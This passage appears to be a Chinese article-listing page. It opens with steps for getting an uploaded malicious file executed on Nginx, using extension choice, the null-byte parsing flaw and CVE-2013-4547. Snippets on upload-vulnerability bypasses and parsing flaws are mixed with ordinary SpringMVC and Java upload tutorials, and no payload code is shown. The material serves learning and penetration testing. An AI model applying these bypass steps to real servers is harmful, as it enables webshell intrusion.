(1)优先考虑绕过后缀名时采用恶意代码能够执行的后缀,这样文件能直接执行;
(2)其次,当Nginx版本较老时,比如老于小于0.8.37,考虑利用空字节解析漏洞执行该文件;
(3)最后,考虑利用CVE-2013-4547和CGI-PHP解析漏洞来执行该文件。参考文章
-
springMVC:为MultipartFilte配置了上传文件解析器,报错或不能使用
2018-08-01 17:44:57一、问题描述 为支持restful风格请求...目的是让MultipartFilter过滤器先将带文件上传的请求,进行解析。以便hiddenHttpMethodFilter可以取到”_method”参数,转化为相应的http动作。 既然multipartFilter要进行... -
【文件上传漏洞10】中间件文件解析漏洞基础知识及实验——IIS
2022-03-09 09:47:571. 文件上传漏洞第一个条件是文件成功上传且没能过滤掉恶意代码;第二个条件是让代码执行。 2. 对于第一个条件,存在着前端JS检测绕过、服务端MIME类型绕过、服务端后缀名绕过、文件内容绕过等,其根本目的是要上传... -
文件上传漏洞+解析漏洞详解
2022-03-05 12:50:38文章目录文件上传概述文件上传漏洞测试流程注意client check方法:MIME type(服务端验证通过)小知识介绍方法:getimagesize(php中用来判断目标文件是否为图片)思路:方法(图片木马的制作):解析漏洞IIS6.0【web... -
spingmvc 使用上传解析器CommonsMultipartResolver上传图片
2019-03-13 23:13:34spingmvc 使用上传解析器CommonsMultipartResolver上传图片加入jar包配置上传解析器jsp页面控制层...-- 定义文件上传解析器 --> <bean id="multipartResolver" class="org.springfr... -
Java解析Excel文件并把数据存入数据库
2020-08-30 13:58:25本篇文章主要介绍了Java解析Excel文件并把数据存入数据库 ,具有一定的参考价值,感兴趣的小伙伴们可以参考一下 -
基于java的企业级应用开发:文件上传和下载.ppt
2022-06-21 19:14:31* PHP与Web页面交互 -----文件上传和下载 课程内容 文件上传 文件下载 一、文件上传 文件上传从本质上讲,就是将表单数据的一部分提交到服务器端。只是因为其数据类型(字节流或二进制流)不一样,从而导致在服务器... -
SpringMVC中各种解析器
2020-06-14 14:14:011.视图解析器(主要是MVC配置文件中配置)将controller返回的String类型信息到视图解析器组成一个完整的地址,进行请求转发 本质就是将InternalResourceViewResolver进行IOC布置到核心容器中,自己对该类的属性进行... -
文件上传和过滤器总结
2019-08-15 23:27:36文件上传 一、文件上传表单跟普通表单的区别 属性:文件上传表单需要加上ecntype=“mutlipart/from-data”,普通表单不需要指定ecntype属性; 请求方式:文件上传表单只能通过post提交表单,而普通表单可以post或get... -
python:使用文件上传和其他参数解析HTTP POST请求
2020-12-17 14:07:45我正在尝试实现上传进度指示器,因此我需要能够逐块读取文件内容.我发现的所有方法都基于cgi.FieldStorage,它只能以某种方式允许我完整地获取文件(在内存中,这本身就是一场灾难).有人建议重新定义FieldStorage.make_... -
使用 JavaScript 上传 PDF 和 Excel 等二进制文件到 ABAP 服务器并进行解析
2021-11-13 15:09:04这是 Jerry 2021 年的第 71 篇文章,也是汪子熙公众号总共第 348 篇原创文章。 Jerry 之前发布过一篇文章 不使用任何框架,手写纯 JavaScript 实现上传...(2) 能否上传二进制文件比如 Excel 到 ABAP 并进行解析? -
文件上传漏洞、WebShell、防御及绕过利用、Web容器解析漏洞、编辑器上传漏洞
2020-12-29 16:52:09文章目录文件上传漏洞漏洞概述漏洞成因漏洞危害WebShell大马小马GetShell漏洞利用的条件PUT方法上传文件漏洞的防御、绕过和利用黑白名单策略安装upload-labs前端限制与绕过服务器端检测---MIME类型 文件上传漏洞 ... -
21、渗透测试笔记_文件上传&&解析漏洞_20191118
2019-11-18 10:17:451、文件解析漏洞 解析漏洞主要说的是一些被IIS、Apache、nginx在某种情况下解释成脚本文件格式的漏洞 1.1、IIS 5.x/6.0解析漏洞(两种解析) 1)目录解析 /xx.asp/xx.jpg 在网站下建立文件夹的名字为.asp、.asa... -
细说——文件上传漏洞(另附文件上传靶场通关记录)
2021-10-11 19:10:30目录漏洞描述漏洞危害常见上传点和绕过方式上传点后缀绕过解析漏洞常见绕过类型脑图漏洞在系统中的差异IIS 5.x/6.0解析漏洞Nginx 解析漏洞Apache 解析漏洞靶场环境准备理解文件上传Pass-1-js检查【前端绕过】Pass-2-... -
Spring MVC学习(4)—ViewSolvsolver视图解析器的详细介绍与使用案例
2021-05-13 17:20:52基于最新Spring 5.x,详细介绍了Spring MVC的ViewSolvsolver视图解析器组件,并提供了详细的使用案例。 -
Struts2学习手册之文件上传基础教程
2020-08-27 14:54:44Struts2提供的文件上传下载机制十分简便,使得我们写很少的代码,下面这篇文章主要给大家介绍了关于Struts2学习手册之文件上传的相关资料,文中通过示例代码介绍的非常详细,需要的朋友可以参考下 -
MarkDown文本解析器
2020-09-16 17:07:55这是一个对 markdown文件进行解析,转化为HTML文档的的程序。通过词法分析,构建文档的语法树,然后听过对语法树的深度优先遍历生成html文档。 应用技术: 词法分析 构建语法树 深度优先遍历 在进行词法分析前,先... -
文件上传漏洞详解 一文了解文件上传漏洞
2020-09-29 22:29:30刷完了upload-labs,对文件上传漏洞有了些许认识,在此做个小结与记录 -
Springmvc上传文件.docx
2020-08-28 15:19:03前面弄得我认得文档,现在发现csdn上面不能上传同样的格式,就直接把word文档上传,内容包含上传文件的各个部分,有详细注释,适合刚学springMVC的去观看 -
【文件上传漏洞11】中间件文件解析漏洞基础知识及实验——Nginx
2022-03-09 10:20:231. 文件上传漏洞第一个条件是文件成功上传且没能过滤掉恶意代码;第二个条件是让代码执行。 2. 对于第一个条件,存在着前端JS检测绕过、服务端MIME类型绕过、服务端后缀名绕过、文件内容绕过等,其根本目的是要上传... -
文件上传 06 解析攻击
2018-08-13 00:04:29本文记录文件上传学习过程,教程为 《Upload Attack Framework V1.0》 解析攻击 网络渗透的本质 主体就是代码注入+代码解析/执行 像缓冲区溢出攻击,sql 注入攻击,文件上传攻击,文件包含... -
SpringMVC解析器
2016-08-30 23:53:42springMVC解析器 -
CI框架源码解析二十之文件上传类文件Upload.php
2016-11-15 18:04:15最近一直在研究Codeigniter框架,本篇博文为大家简述解析文件上传类文件的实现,以前写过一篇CI框架优化文件上传方法以及实现多文件上传的博文,大家可以放在一起进行对比阅读。CI框架教程2——优化文件上传方法以及... -
springboot实现excel的上传并解析文件内容
2019-08-01 17:24:30因为老大说表单填写评分太麻烦了,所以就要求我们改成excel表格上传进行评价;所以我一直没写过就只能自己摸索摸索了; 到了今天调试基本没有问题了。下文将是完整的代码,没有涉及到数据库。我现在的目的是先能...